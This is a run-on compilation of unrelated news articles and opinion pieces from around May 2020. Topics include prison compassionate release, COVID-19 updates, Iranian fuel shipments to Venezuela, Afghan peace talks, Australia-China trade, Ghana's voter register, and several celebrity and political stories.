Sarah Rodriguez of CCWP, who has been a supporter of the Patricia Wright campaign, tells Yahoo Life, A few wealthy and well-connected people are being released from mostly federal prisons due to concerns about their health in the context of this pandemic. But people like Patricia Wright, Lucia Bravo and Maria Aredondo, all elderly women with terminal cancer or compromised immune systems, are so far being left to languish in state prisons where basic social distancing and public health guidelines are not being adequately met. She notes that keeping people in prison during a pandemic is cruel and inhumane, and more people, especially elderly people and medically vulnerable people, ought to be released immediately so that they can have the best possible chance of surviving this crisis.

Wrights attorney, Laura Sheppard, tells Yahoo Life, California's state prison system has thus far been unwilling to remove anyone from the crowded prison environment regardless of their medical risks. Even elderly inmates like Ms. Wright, who is at extremely high risk because of her chemotherapy, is getting no consideration. She continues, Ms. Wright's condition is terminal, but because of her unfair LWOP [Life Without Parole] sentence, she isn't even eligible to apply for compassionate release. She adds that there are hundreds if not thousands of long-term offenders who are elderly, have underlying conditions that compromise their immune system, and who DO have supportive family or friends who would take them in.

Prior to her conviction, Wright and her attorney say, Wright suffered emotional, verbal and physical abuse by Scott, and was even shot by him while pregnant (resulting in loss of the baby) in 1979. Wright declined to press charges, and the two separated and remained friends for their children. (Studies have shown that the criminal experiences of women are often best understood in the context of unhealthy relationships, and that at least half and as many as 98 percent of justice-system-involved women report experiencing some kind of physical or sexual abuse in their lifetime.)

According to Sheppard and reports, Scott was murdered a few years after the separation; the case remained unsolved for 16 years until it was reopened in 1995 by a cold case team. Thats when Wright, despite fingerprint evidence excluding her, was charged based on two statements: one that has since been recanted and another on a recording that the Los Angeles Police Department was never able to produce to the courts.

Since her conviction, Wright has survived multiple bouts of brain, breast and ovarian cancer, says her sister, but is currently battling a recurrence of stage III ovarian cancer. Further, she is legally blind, dependent on mobility aids and suffers other serious conditions like asthma and chronic kidney disease.

Although Wright and her family have been fighting for justice for years, the circumstances surrounding her proposed release have only become more dire amid the coronavirus pandemic. In a letter sent to Newsom and shared with Yahoo Life, Wrights oncologist, Dr. Kristen Marie Anderson of the Riverside University Health System, called Wrights prognosis grave, noting that she would be at high risk of infection and death if she remains incarcerated during her [chemotherapy] treatment.

Finally, as Bonet notes in the Change.org petition, Patricia is a warm and positive person. While in prison, she has maintained a near perfect disciplinary record and has participated in numerous self-help and wellness groups, including mindfulness, restorative justice, and healing from trauma. Patricia has spent a third of her life in prison, and she wishes not to die there.

For the latest coronavirus news and updates, follow along at https://news.yahoo.com/coronavirus. According to experts, people over 60 and those who are immunocompromised continue to be the most at risk. If you have questions, please reference the CDCs and WHOs resource guides.
The movie stars Mel Gibson, Emile Hirsch, and Kate Bosworth as three Puerto Ricans stuck in a Hurricane Maria-like disaster because Gibson's retired detective has watched too much Fox News and refuses to evacuate. But plans change when they discover a group of criminals is using the calamity as a cover to orchestrate a heist. Now trapped in the tenement tower, it's up to the rookie cop, doctor daughter, and Gibson's fish-out-of-water (and slurring on alcohol) cop to sneak around and save the day -- yippee-ki-yay. Yup, it's Die Hard in bad weather.

Lionsgate In Puerto Rico, the coast comes to you.

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Except that, to my best recollection, John McClane wasn't separated from his wife for making racist rape threats, or for choking and bodyslamming her onto the floor. But that's the kind of abuser magic Force of Nature brings to the table before dragging it kicking and screaming over said table, with Gibson and Hirsch having been convicted of spousal battery and assault on a female industry member respectively. And you have to feel for Kate Bosworth, who was probably never sure what she should be most afraid of: her co-leads, the hurricane, or the freaking chupacabra that jumps out of nowhere.
Slaine is not alone in seeking to carve out pieces of the company. On Thursday, the Baltimore Sun reported that a group of Baltimore philanthropists, businesspeople and the union representing journalists are continuing a campaign to return that newspaper to local ownership, which it hasnt had since 1986, but its chances of success were uncertain. Journalists at the Chicago Tribune earlier this year launched their own efforts to find new owners.
Iran is supplying some 1.53 million barrels of gasoline and alkylate to Venezuela, according to various sources.

A flotilla of five tankers carrying Iranian fuel for gasoline-starved Venezuela is approaching the Caribbean, with the first vessel expected to reach the South American countrys waters on Sunday, according to Refinitiv Eikon tracking data.

Iran is supplying about 1.53 million barrels of gasoline and alkylate to Venezuela, according to both governments, sources and calculations made by TankerTrackers.com based on the vessels draft levels.

The shipments have caused a diplomatic standoff between Iran and Venezuela and the United States as both nations are under US sanctions. Washington is considering measures in response, according to a senior US official, who did not elaborate on any options being weighed.

The US recently beefed up its naval presence in the Caribbean for what it said was an expanded anti-drug operation. But a Pentagon spokesman, Jonathan Hoffman, said on Thursday he was not aware of any operations related to the Iranian cargoes.

We have continued to say that Iran and Venezuela  both two outliers in the international order  [are] clearly violating international sanctions on both nations with this transaction, he told reporters.

Venezuelas defense minister said its military will escort the Iranian tankers once they reach the nations exclusive economic zone.

Iran-flagged tanker Fortune, the first in the flotilla, was approaching the Caribbean Sea on Friday. It has been navigating with its satellite signal on since it passed the Suez Canal earlier in May. The four other vessels are following the same route across the Atlantic Ocean, the Eikon data showed.

The OPEC-member country desperately needs fuel for up to 1,800 gasoline stations that have been partially closed for weeks due to insufficient supply from state-run PDVSAs refineries, which until March worked at about 10 percent of their joint capacity of 1.3 million barrels per day (bpd).

PDVSAs gasoline output is now limited to a single facility, the Amuay refinery, but most fuel produced is low octane as most of the countrys alkylation units are out of service, according to company sources. Imported alkylate could improve the quality of domestic gasoline.

PDVSA did not immediately reply to a request for comment.

Venezuela was consuming 170,000 bpd of gasoline before coronavirus-related lockdown measures. Fuel sales at stations declined to about 40,000 bpd due to rationing, according to analysts.

Over a decade of mismanagement and lack of staff  combined with US sanctions that since 2019 have limited imports  have left Venezuelas refineries in poor condition. Shipments of equipment in flights by Irans Mahan Air have arrived in Venezuela in recent weeks to start repair work.

The US Department of the Treasury this week blacklisted the Chinese firm that provided the refinery parts. Beijing called the sanctions illegal.

US West Texas Intermediate crude fell 67 cents on Friday to settle at $33.25 a barrel, paring about half earlier losses of more than five percent. Global benchmark Brent settled at $35.13, down 93 cents on the day.
Afghan President Ashraf Ghani, right, and fellow leader under a recently signed power-sharing agreement, Abdullah Abdullah, center, hold a meeting with U.S. peace envoy Zalmay Khalilzad aimed at resuscitating a U.S.-Taliban peace deal signed in February, at the Presidential Palace, in Kabul, Afghanistan on May 20, 2020. (The Presidential Palace via AP)

US Envoy Working to Resuscitate Flagging Afghan Peace Deal

KABUL, AfghanistanThe first visit to Kabul by Washingtons peace envoy since Afghanistans squabbling political leadership reached a power-sharing agreement comes amid increased violence blamed mostly on an ISIS affiliate that has been targeted in stepped-up U.S. bombing.

Zalmay Khalilzad, in a flurry of tweets May 21, told of his meetings in Doha earlier in the week with Taliban representatives and on May 20 with Afghan President Ashraf Ghani and fellow leader Abdullah Abdullah. All were aimed at resuscitating a U.S.Taliban peace deal signed in February.

Khalilzad returned to Washington late May 20.

Khalilzad called for a reduction in violence by all sides in Afghanistans protracted conflict that has kept America militarily engaged for 19 years. He also said too much time has been wasted getting to the second and critical phase of the peace deal, which calls for talks between the Taliban and Afghanistans political leadership.

Abdullah will head those efforts as part of the deal he signed with Ghani to end their monthslong dispute over who won Afghanistans presidential election in September 2019. He conceded the win to Ghani but as part of a power-sharing agreement.

U.S. President Donald Trump said again last week that U.S. soldiers have wrongly been tasked with policing the country and called on Afghanistan to step up.

The United States has about 12,000 soldiers deployed to Afghanistan, split between counterterrorism and the NATO-led Resolute Supports 16,500 troop mission, which trains and aids Afghanistans National Security Forces. Washington currently spends about $4 billion annually to keep Afghanistans military in fighting form.

U.S. Department of Defense officials have told The Associated Press their biggest worry in Afghanistan is an increasingly active ISIS affiliate headquartered in the east. The group has ties to Middle Eastern affiliates as well as militant groups like the Islamic Movement of Uzbekistan and the Chinese Uighur group, East Turkestan Islamic Movement.

The officials, who spoke on condition of anonymity because of the sensitivity of the subject, say the ISIS affiliate in Afghanistan has been linked to foiled plots to attack America in recent years. The U.S. also blamed ISIS for a brutal attack on a maternity hospital earlier this month in Kabul that left 24 people dead, including two infants and several mothers.

The increased ISIS activity in Afghanistan has added urgency to U.S. efforts to resuscitate the peace deal, which commits the Taliban to fight terrorist groups in Afghanistan. The same Department of Defense officials said they want the Taliban in the battle to rout ISIS from Afghanistan.

Without intra-Afghan negotiations, the ceasefire Washington wants between the Taliban and the government wont happen.

Taliban representatives say a ceasefire will be on the agenda in any intra-Afghan talks, which were to start by mid-March. The delay has been blamed on Afghanistans squabbling leadership in Kabul and disruptions in prisoner releases, which were promised as part of the peace deal ahead of intra-Afghan negotiations.

In his tweets, Khalilzad called for the prisoner release to be completed. He also reiterated he is seeking Taliban assistance with U.S. citizens missing in Afghanistan, including U.S. contractor Mark Frerichs who disappeared in January. Several Taliban leaders contacted by The AP said they are not holding Frerichs and have told Khalilzad repeated times.

Suhail Shaheen, Taliban spokesman in Doha, said May 20 the Taliban are committed to the deal and demanded its prisoners be released.

Meanwhile, in eastern Nangarhar province, where ISIS is headquartered, a suicide bomber targeted a district chief and his son late May 21 as they were driving through Chaparhar district, said Attaullah Khogyani, the provincial governors spokesman. Sediq Dawlatzai and his son were wounded in the attack and transferred to a hospital in the capital Jalalabad. No one immediately claimed responsibility for the attack.

By Kathy Gannon & Tameem Akhgar
Loading Trump wanted to preserve the appearance of mutual respect with Chinese President Xi Jinping. Until this week. On Thursday, he followed up the "wacko" tweet with a direct jab at Xi. "[China's] disinformation and propaganda attack on the United States and Europe is a disgrace. It all comes from the top. They could have easily stopped the plague, but they didn't!" Trump sees China as a useful foil in the coming election, and the Democrat nominee Joe Biden is happy to fight on this turf. Biden's campaign team has already broadcast racially charged ads accusing Trump of rolling over to the Chinese. A bipartisan escalation appears to be unavoidable. There is a long history of "using China as a campaign cudgel" at election time, dating back to Bill Clinton in 1992, the former US ambassador to the United Nations, Susan Rice, wrote in The New York Times this week. But she warns that the old playbook is "particularly dangerous in these tense times when it fuels anti-Asian hostility at home and anti-American sentiment abroad, makes governing more difficult and raises the prospect of a costly Cold War  or worse". Australia should pause and reflect. There has been a tendency lately for the Australian and Chinese governments to trade cartoonish insults. Who started it tends to get lost in the mutual indignation. The danger for Australia is that we validate Chinese invective by accepting it as the normal way to do business. The risk beyond the immediate commercial relationship with China is that the rest of the world sees us as a smaller version of Trump's America, and stops taking us seriously.

Obviously, the values of Trump's America don't align with ours. Trump divides his country by political reflex. This wouldn't be unusual if he understood where to draw the line between robust debate and vilification, and between the scrutiny of his opponents and the criminalisation of their public service. But he doesn't. The race baiting at home, and abroad, isn't a tactic; it comes from deep within. So do the calls to lock people up. It is who he is. The bully that is supposed to have our back, Washington, is often indistinguishable from the bully who now threatens our economy, Beijing. Loading And Trump's economic interest in promoting an America First international order undermines our interest in a global trading system in which all nations continue to do business in good faith.

Australia's two-way trade with China represents 26 per cent of our total trade with the world. Last financial year, that relationship was worth $235 billion, which almost equalled the combined value of our two-way trade with Japan ($88.5 billion), the United States ($76.4 billion), South Korea ($41.4 billion) and Singapore ($32.7 billion), our trading partners ranked second to fifth. Our two-way trade in goods and services with the Chinese has been in surplus since the global financial crisis of 2008-9, and for many decades more with the Japanese. With the Americans, we have always been in deficit. Last financial year, the surplus with China was $71.4 billion, and with Japan it was $34.9 billion. The deficit with the US was $26.9 billion.

Australia is the world's largest supplier of iron ore and coal, and China is the world's largest importer of these two commodities. In the year to March, Australia sold $82.6 billion in iron ore and $14 billion in coal to China  64 per cent of our total export of goods to China in that period. The Chinese don't have another quarry, either at home, or overseas, that can easily replace Australia's. Their dependency on our raw materials might increase in the short run as Beijing restarts its industries after the lockdown. Loading If Trump took the time to ponder these numbers he might just advise Morrison to play nice with the Chinese because they let us screw them. He'd also be grateful that Australia allows itself to be ripped off by the Americans. On the other hand, if the Chinese continue to pick off our second-tier exports to teach us a lesson for speaking out, perhaps Trump might want to open up his economy to Australia to compensate us for our losses? For example, Australia is the world's second-largest exporter of beef. But the Americans only bought $1.1 billion from Australian farmers in the year to March, while the Chinese imported more than double that amount  $2.8 billion. The Americans would surely want some Aussie wine to go with their Aussie steak. Australia is the world's fourth-largest exporter of wine but once again, the Chinese have been more willing to buy alcohol from us than the Americans  $1.2 billion versus $450 million. But this is not how Trump sees the world. He'd like Americans to buy local, and to sell their surpluses to the rest of the world. A world where China cuts out Australia, and leaves us to bargain with a protectionist US, is not one that serves our interests.
A senior student is greeted by a teacher, second from right, upon his arrival at the Kyungbock High School in Seoul, Wednesday, May 20, 2020. AP



South Korea reported 20 more cases of the new coronavirus Friday as health officials are trying to contain sporadic group infections following the mass spread of the virus tied to Seoul's nightlife district of Itaewon.

The new cases raised South Korea's total caseload to 11,142, and the nation's death toll remained unchanged at 264, according to the Korea Centers for Disease Control and Prevention (KCDC).

Itaewon has emerged as a hotbed for infections as a 29-year-old man tested positive for COVID-19 on May 6 following his visits to multiple clubs and bars in Itaewon. As of noon, 215 infections were connected to the case.

To avoid a second wave of infections, South Korea has been carrying out more than 77,000 tests on those who visited affected clubs between April 24 and May 6.

South Korea has not yet identified the origin of the virus that struck Itaewon, although health authorities assume it came from either North America or Europe.

The number of imported cases rose by nine from a day earlier, reaching 1,200. More than 88 percent of such patients were South Korean nationals returning from overseas.

Authorities said the country is expected to experience a gradual increase in the number of imported cases, as it is inevitable for South Korea to maintain at least limited exchanges with other countries.

The fatality rate came to 2.37 percent. South Korea has not yet reported any deaths from patients aged 29 and younger.

It has also not yet seen a coronavirus-related syndrome among children as observed overseas.

The total number of people released from quarantine after full recoveries stood at 10,162, up 27 from the previous day. The latest figures indicate that more than 90 percent of confirmed patients have fully recovered from the virus.

South Korea has carried out tests on 802,418 people since Jan. 3, including 13,734 from a day earlier.












People from Noida and Greater Noida with a confirmed flight or train ticket will not require any pass to travel to Delhi, the Gautam Buddh Nagar police said on Friday.

The decision has been taken in view of resumption of passenger flights and rail services in the coming days, the police said.

At present the Noida-Delhi border is sealed for movement except for essential services and people having passes issued by the district administration.

The central government has decided to resume some domestic flights from May 25 and some train services from June 1 for which online bookings have also resumed, Additional Deputy Commissioner of Police, Law and Order, Ashutosh Dwivedi said.

Hence, all police personnel will ensure that all such people having confirmed flight or train tickets are permitted to travel to the airport or railway stations. These people do not require any other 'pass' for their movement, Dwivedi said in an order.

Amid the coronavirus pandemic, the administration had in April sealed the Noida-Delhi border for movement except for some exempted services.

The move, officials had said, was aimed at combating COVID-19 transmission as several of the coronavirus cases in Gautam Buddh Nagar could be traced to Delhi.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
It is important that every countrys electoral commission is seen as free fair and credible an organisation to be trusted well enough to be able to organise effective elections. Ghanas electoral commission has been a mixed bag in the fourth republic for the past 28 years, depending on which side you belong and at what time. The opposition sees the commission as not trustworthy yet the same party in power will do anything to support the same commission. What could the secret behind this be?

Is the commission hiding something from a part of the population? Do they go into bed with every incumbent government to achieve a purpose? If they do, what purpose would that be? In this time where the economy is in crisis, are we as a country saying it is ok to spend millions of Cedis to compile a new register simply because we are in the eight-year from the last list?

These questions are being asked because the current situation in Ghana with the ECs strong stand not to compromise on their decision on compiling a new register is a concern. Concerned because the timing seems off. With elections, just 7month away, would it not be wise to rather clean the register with a limited registration exercise to add young people who have attained the voting age and also to remove deceased people from the list? How can a voter list which proved effective in the recent district level elections be suddenly not good enough? Remember this is the same voters list that brought the current government into power. Being part of the PPP , I am aware that the EC provides copies to all parties prior to elections. If this same list was agreed upon as credible in 2016 and used for elections that managed to bring the NPP party from opposition into government then it can be said that it is credible enough. This is not the time to play party politics but rather a time to find an effective way of making the right calls to benefit society at large.

I am aware as per the 1992 constitution and the Electoral Commission Act 451 of 1993, the electoral commission must compile a new register every 8yrs to bring the list up to date with the current population growth and dynamic. The last list compiled was in 2012 at a cost of GH 148,942,378. Does a new voters list mean completely discarding the existing one? Can it not be a case of confirmation of the existing details of persons on the register as correct coupled with adding on new voters? If we can follow this trend, we could save ourselves some cost as well as making it credible. Unless the EC can confirm they have another agenda they are pushing, there is no reason why they must force their will on the nation at all cost even with the current situation at hand and the limited time left before the next general elections.

Recommendation

It [DY1] is recommended that the electoral commission must make the voters list continuously open throughout the year within all civic centres across all 16 regions. These civic centres already work all year round, this service can be drafted in as an added responsibility just like the passport office did in the past. People can go to these centres throughout the year to add their names or verify themselves with an appropriate ID.

Before every election, the list can then be closed sometime before the elections for final verification and approval by parties to be made. If we work on a method as recommended or similar, we can create something good out of the mess of counter accusations that we currently have. The EC must devise a way to make a new register continually reliable at the cheapest cost to the state. Now is not the time to be spending such a huge amount of resources we scarcely have.

Conclusion

As a country, we need to realise that every service we provide must be for the benefit of all civil society. Every action must be tailored according to the interest of the general population. Some of the laws on the land need to be amended to fit the trends of the time. In an instance like this where a great disruption has occurred due to the COVID-19, we should have the provision to be able to postpone and adjust appropriately. We must choose a productive system for running the civil service rather than an entrenched position without change. The current stance the EC has taken could have been avoided if the system were flexible enough. In all things, let us put Ghana first.

By: David Aikins-Bekoe

Youth Organizer

Progressive Peoples Party UK

[email protected]

[DY1]
The sky has never been so blue, the birds have never twittered more sweetly. Veteran actor Shabana Azmi does poetic justice to the virtues of the lockdown, but also points out at the need of policy and governance that is inclusive and answerable to the weaker sections (of the society), and also in sync with Nature.

In an interview, she also talks about getting to spend more time with husband, writer Javed Akhtar; supporting relief efforts amid the crisis; and her miraculous survival in a near fatal accident.

How are you both coping with the lockdown?

Going with the flow. I returned from my shooting in Budapest on 15th March and went into self-isolation for 2 weeks by which time the lockdown was already in place so it has been a very long time. For someone as gregarious as me, I could never have imagined that I would stay sane. Javed is used to periods of isolation when he is writing, so it was easier on him. But we have never spent so much time together and we have always enjoyed each others company, so it has been good for us personally.

But the plight of the migrant labourers tears into your conscience and makes you reflect more deeply on the great divide between the haves and the have-nots. How fragile our public health system is, how important it is to have social security and how much more inclusive our policies need to be.

After an accident as serious as you had in January, you recuperated and went to Budapest to shoot, returning to Mumbai just in time before a life-altering lockdown was implemented in India. Do you see it as a second life?

Ever since I lost my mother in November, it has been a roller coaster sliding downwards. Except for 3 wonderful days in January, when we celebrated Javeds birthday and had friends and family come in from all over - Rupankan, a cultural organisation from Indore, held a photo exhibition of Javed by photographer Pradeep Chandra and SMM Ausaja where a jewelled fountainpen in Javeds name was launched. A calendar on Javed was also released.

The next night we had an intimate Bollywood 70s theme party at home, followed by a big bash on his birthday on 17th January. I was dancing till 5 in the morning!

We left for our Khandala home Sukoon the next afternoon with Javeds cousin sister Sumbul and her husband Nawab. I was very tired from the 3 days of partying so I requested that Javed carry on with them and I follow in the next car to catch up on my sleep. About twenty minutes before we could reach home, a truck rammed into my car . I was asleep at the back and rolled off from my seat to the floor. The impact caused me to faint. Mercifullly, I remember nothing at all.

Ive been told it was a miracle I had survived. A month and ten days later, still in considerable pain, I was shooting in Budapest! And then we had to pack up because of the coronavirus spreading to Europe.

I reached Mumbai on 15th March, went into self-isolation, by which time the lockdown was already in place! Ive been at home for over 60 days. Is this going to be the new normal? I hope not. I like to be surrounded by family and friends .

It was so pleasant to hear you sing the Abhi na jao chhodkar parody made by Javed saab, and the nok-jhok on a video interview. It shows the importance of keeping a home atmosphere infused with fun and romance in our own ways. Your comment?

It is very important to keep the atmosphere at home pleasant, not just for yourselves but also for our staff who are away from their families. I keep in touch with my girls group on zoom where we let off steam because some of them are having to do all their housework without any help. But we also talk about trivial things and have a good laugh. And we are in regular touch with our families. I miss my mother and feel extremely sad that I could have spent so much time with her.

As a senior citizen yourself, what is the message you would want to convey to the elders and youngsters in terms of taking the right care?

We must remember that health is a right, but its also a responsibility. As seniors, it is important that we play by the rules and not break away from the required protocol. Maintain social distancing, wash hands with soap frequently, stay indoors, boost our immunity. There is no heroism in breaking rules. We owe it to ourselves and to society to keep ourselves informed and lead by example.

What does your typical day look like amid the lockdown, and what keeps you busy?

Reading, writing, listening to music, giving talks, participating in webinars. Im also involved hands on in all the relief work being done by Mijwan Welfare Society, an NGO founded by my father Kaifi Azmi, which I now head. We have distributed foodgrains , health kits and masks to more than 22,000 people in different villages in Eastern Uttar Pradesh. We have also set up Rozgar dhaba, an information hub for the returning migrants on government schemes, job opportunities, making ration and Aadhar cards, etc... to me, that is the most important empowerment tool we can give them.

Here in Mumbai, both Javed and I are providing cooked meals. And yet its only a drop in the ocean.

The pandemic has exposed the fragile structure of our public health system and the lack of a social security cover makes the poor even more vulnerable, particularly women and children. We need policy and governance that is inclusive and answerable to the weaker sections and one that is in sync with Nature.

The sky has never been so blue the birds have never twittered more sweetly. There is a lesson in it for all of us. Sustainable growth must replace the rapacious destruction of natural resources.
Veteran actor Mumtaz condemned rumours of her death which goes viral on the Internet again. This is not the first time when the internet created Hoax of her death and get self trending.

Veteran actor Mumtaz condemned rumours of her death which goes viral on the Internet again. This is not the first time when the internet created Hoax of her death and get self trending. Earlier also Mumtaaz got cleared that with Gods grace she is healthy and happy with her family, now it again goes viral on stage. Mumtaz said that it is not a joke and whosoever is doing this must stop this.

Twice a year this is happening and at times it is funny but this is totally Rubbish. Almighty has given her best kids and grandkids with whom she is staying healthy and safe she added. Mumtaz said that this fake news has created panic amidst her family who stays in a different part of the country. This traumatized them all and then become a part of the joke. People got worried and in lockdown, they found no way to reach us as the flights are closed.

The veteran actor said she is safe in London with her children and grandchildren, they are taking care of her and not letting her go out. She relaxed her fans and said, Mai Zinda Hoon. However, she said she is not afraid of death, this is the ritual of nature who comes in has to move out of this life so there is nothing to fear about it. But making such rumours is not a good idea. Her daughter Tanya told media that her mother is perfectly fine and beautiful at her 72 and everything is okay with her.

https://www.youtube.com/watch?v=ejzVvogXXl4

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Guadalupe Lucero, a member of the janitorial staff, wipes down high-touch surfaces at a building in Co-op City in the Bronx, New York. Read more

The coronavirus primarily spreads from person to person and not easily from a contaminated surface. That's the takeaway from the Centers for Disease Control and Prevention, which this month updated its "How COVID-19 Spreads" website.

The revised guidance now states, in 17-point font, "The virus spreads easily between people." It also notes that the coronavirus, which causes the disease COVID-19, "is spreading very easily and sustainably between people."

The CDC made another giant font change to its website, clarifying what sources are not major risks. Under a new heading "The virus does not spread easily in other ways" the agency explains that touching contaminated objects or surfaces does not appear to be a significant mode of transmission. The same is true for exposure to infected animals.

CDC spokeswoman Kristen Nordlund said Thursday that the revisions were the product of an internal review and "usability testing."

"Our transmission language has not changed," Nordlund said. "COVID-19 spreads mainly through close contact from person to person."

The virus travels through the droplets a person produces when talking or coughing, the CDC website says. An individual does not need to feel sick or show symptoms to spread the submicroscopic virus. Close contact means within about 6 feet, the distance at which a sneeze flings heavy droplets.

 READ MORE: Do saltwater and sunshine at the Shore kill the coronavirus? Heres what science says.

Example after example have shown the microbe's affinity for density. The virus has spread easily in nursing homes, prisons, cruise ships and meatpacking plants  places where many people are living or working in closer proximity. A recent CDC report described how a choir practice in Washington state in March became a super-spreader event when one sick person infected 52 others.

Direct contact with people has the highest likelihood of getting infected  being close to an infected person, rather than accepting a newspaper or a FedEx guy dropping off a box, said virologist Vincent Munster, a researcher at the Virus Ecology Section of Rocky Mountain Laboratories, the National Institute of Allergy and Infectious Diseases facility in Hamilton, Montana.

Munster and his colleagues showed in laboratory experiments that the virus remained potentially viable on cardboard for up to 24 hours and on plastic and metal surfaces for up to three days. But the virus typically degrades within hours when outside a host.

The change to the CDC website, without formal announcement or explanation, concerns Angela Rasmussen, a virologist at the Columbia University School of Public Health.

"A persistent problem in this pandemic has been lack of clear messaging from governmental leadership, and this is another unfortunate example of that trend," she said. "It could even have a detrimental effect on hand hygiene and encourage complacency about physical distancing or other measures."

Right-wing social media exploited the website tweaks this week. Fox News commentator Sean Hannity breathlessly promoted a "breaking" report about the change, as though the CDC had discovered new information.

 READ MORE: Whats up with my bad mask breath?

But the previous version of the website, archived on May 1, includes the same statement about surfaces as the current version: "It may be possible that a person can get COVID-19 by touching a surface or object that has the virus on it and then touching their own mouth, nose, or possibly their eyes. This is not thought to be the main way the virus spreads, but we are still learning more about this virus."

Rasmussen said the new CDC language will not alter her habits. "I wash my hands after handling packages and wipe down shared surfaces with household disinfectant. In my opinion that's all that is necessary to reduce risk," she said.

And if people find comfort in quarantining their mail or wiping down plastic packaging with disinfectant, theres no harm in doing that, Rasmussen said. Just dont wipe down food with disinfectant.
A fighter from Hayat Tahrir al-Sham was killed when an explosive device in his car detonated, but it is not know who was responsible writes Smart News.

On Thursday, an explosive device killed a Hayat Tahrir al-Sham fighter in the city of Idleb, northern Syria.

Local sources reported to Smart News that an explosive device, planted by unknown persons in the Tahrir al-Sham fighters car in the northern neighborhood of Idleb, exploded while the fighter was getting in the car, killing him instantly.

The sources noted that the fighter, Abu al-Hareth al-Hamwi, who is from the village of Janant al-Sawarinah, eastern Hama, was displaced to Idleb and joined Tahrir al-Sham.

On Mar. 22, 2020, two separate explosions killed an official of the Salvation Government operating in the Tahrir al-Sham-controlled areas and injured a Tahrir al-Sham fighter in central Idleb.

Explosive devices, car bombs, and shootings frequently take place in the Idleb governorate, mostly targeting commanders and fighters of the Free Syrian Army and Islamist battalions, and civilians. The attacks have killed and injured dozens of them. The perpetrators of most of the attacks remain unknown.

This article was edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author.
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Mumbai: For the first time after it parted ways with its former ally, the Bharatiya Janata Party, the Shiv Sena on Friday attended a meeting with leaders of national Opposition party, called by the interim president of Congress party, Sonia Gandhi, through video-conferencing. Sena was represented by party chief and Maharashtra chief minister Uddhav Thackeray, in what is considered to be a significant development for the party.

A Sena functionary said that Thackeray maintained a balance, as neither slammed the Centre nor did he speak in favour of the Opposition parties. According to a senior Shiv Sena leader, the CM spoke about the state governments plan to tackle Covid-19 and also took up the migrants issue.

Uddhav ji spoke on the measures taken by the Maharashtra government to control the spread of coronavirus. He also spoke about the issue of migrants and the inconvenience they faced with regards to transportation. Apart from this, he also spoke on retrieving the Goods and Services Tax (GST) refund, the leader, who did not wish to be named, said.

After presenting his points, Thackeray later excused himself citing prior engagements.

Earlier in January, the Sena had skipped the all-party meet called by Gandhi over the political situation in the country in the wake of the violence in Jawaharlal Nehru University (JNU) and the protests over the Citizenship (Amendment) Act (CAA). Party leaders later clarified that it was due to a miscommunication. Two days later, Thackerays son Aaditya, who is now a cabinet minister in the Maharashtra government, met Congress leader Rahul Gandhi in New Delhi, which was later termed as a courtesy meet.

Meanwhile Nationalist Congress Party (NCP) chief Sharad Pawar, who had also participated in Fridays meeting from Mumbai, also said that the Opposition parties are of the view that this is not the time for showing one-upmanship or indulging in politics for personal political gain. This is the time for a collective endeavour to bring India out of this crisis and thats what the people of India need and demand for, the NCP supremo said.

Meanwhile, the Opposition parties have decided to appeal to the Prime Minister Narendra Modi to engage with all political parties, Pawar said.

We have decided to appeal to the @PMOIndia to immediately reach out to, and engage in a dialogue with all political parties in a systematic manner, listen seriously to the suggestions that we have to refrain from using the crisis for personal political gain, activate Parliamentary institutions like standing committees and be genuine in helping the states financially and otherwise, Pawar said in a series of tweets.

The like-minded political parties are collectively going to raise a 10-point demand to the central government to implement immediately, Pawar added.

The veteran leader also made a few suggestions in the meeting. He said that the state governments are relaxing the conditions of lockdown but factories are not in a position to resume work as workers have migrated to their respective villages.

We need to strategize to bring them [migrant labourers] back. New policies to encourage industrial growth should be incorporated to attract new investment in the states, increase imports, exports and inland shipping, and consultations should be held with industrialists, entrepreneurs and experts, the veteran leader said.

The former Union minister further suggested that right steps need to be taken to gradually restore road transport within the states and for the resumption of air and rail services.
A feminist writer has brushed off Joe Biden's sexual assault allegations and says she would vote for him to be president even 'if he boiled babies and ate them'.

Magazine columnist Katha Pollitt, 70, wrote she was so desperate to get President Donald Trump out of the White House that democrat presumptive nominee Joe Biden had her vote despite allegations he sexually assaulted Tara Reade in 1993.

Writing in The Nation, where she has a bimonthly column called Subject To Debate, Ms Pollitt said: 'I would vote for Joe Biden if he boiled babies and ate them.'

'I cannot believe that a rational person can grasp the disaster that is Donald Trump and withhold their support from Biden because of Tara Reade,' she added. 'I would say this even if I had no problems with Reade's account.'

Ms Pollitt is well-known for her prominent writings on feminist discourse and has written books titled; Reasonable Creatures: Essays on Women and Feminism, and Subject to Debate: Sense and Dissents on Women, Politics and Culture.

Magazine columnist Katha Pollitt (pictured in 2015), 70, wrote she was so desperate to get President Donald Trump out of the White House that democrat nominee Joe Biden had her vote despite allegations he sexually assaulted Tara Reade in 1993

In her latest column, published on Wednesday, she acknowledged that she would usually 'take women's accusations very seriously'.

Tara Reade has accused Biden of cornering her while she worked as a staffer in the Capitol 27 years ago.

Ms Pollitt wrote: 'To believe Reade, you have to believe that Biden put her up against a wall and penetrated her with his fingers on the spur of the moment in a hallway in the Capitol complex, where she says she was looking for him to give him his gym bag.'

Ms Pollitt, author of four essay collections and two books of poetry, is a liberal who focuses on themes of politics; abortion, welfare reform and feminism.

In 1991 she coined the phrase The Smurfette Principle, where she compared herself to the 'lone female' in a group of men.

Tara Reade has accused Biden (pictured on March 15 in Washington) of cornering her while she worked as a staffer in the Capitol 27 years ago

Tara Reade (pictured) spoke of how 'shattering' her alleged sexual abuse by Biden was in a newly-released interview with former Fox News host Megyn Kelly

Ms Pollitt has since tweeted in defense of her column piece, calling her intro 'dark humor and comic overstatement'

Responding to the criticism of her column piece she has since tweeted: 'Most of the negative comments about my Tara Reade piece are from tender souls horrified by the boiled babies in the lede.

'Some ppl don't appreciate dark humor and comic overstatement. They must have a hard time in this fallen world.'

Pundit Krystal Ball called Ms Pollitt's column 'deranged' and claimed it showed how far Democrats had strayed.

In a tweet yesterday she penned: 'This is deranged. A writer for The Nation says she would vote for Joe Biden even if he ate boiled babies.

'This is what many in the Democratic Party have collapsed to in the Trump era. A willingness to abandon all principle and justify literally anything if it will hurt Trump.'

In her latest column, published on Wednesday, Ms Pollitt wrote the country could not cope with another term of President Trump (pictured yesterday at the White House) in power

Pundit Krystal Ball called Ms Pollitt's column 'deranged' and claimed it showed how far Democrats had strayed

Earlier this month Ms Reade told former Fox News and NBC News host Megyn Kelly she was so traumatized by the alleged assault she sometimes wakes up yelling 'stop'.

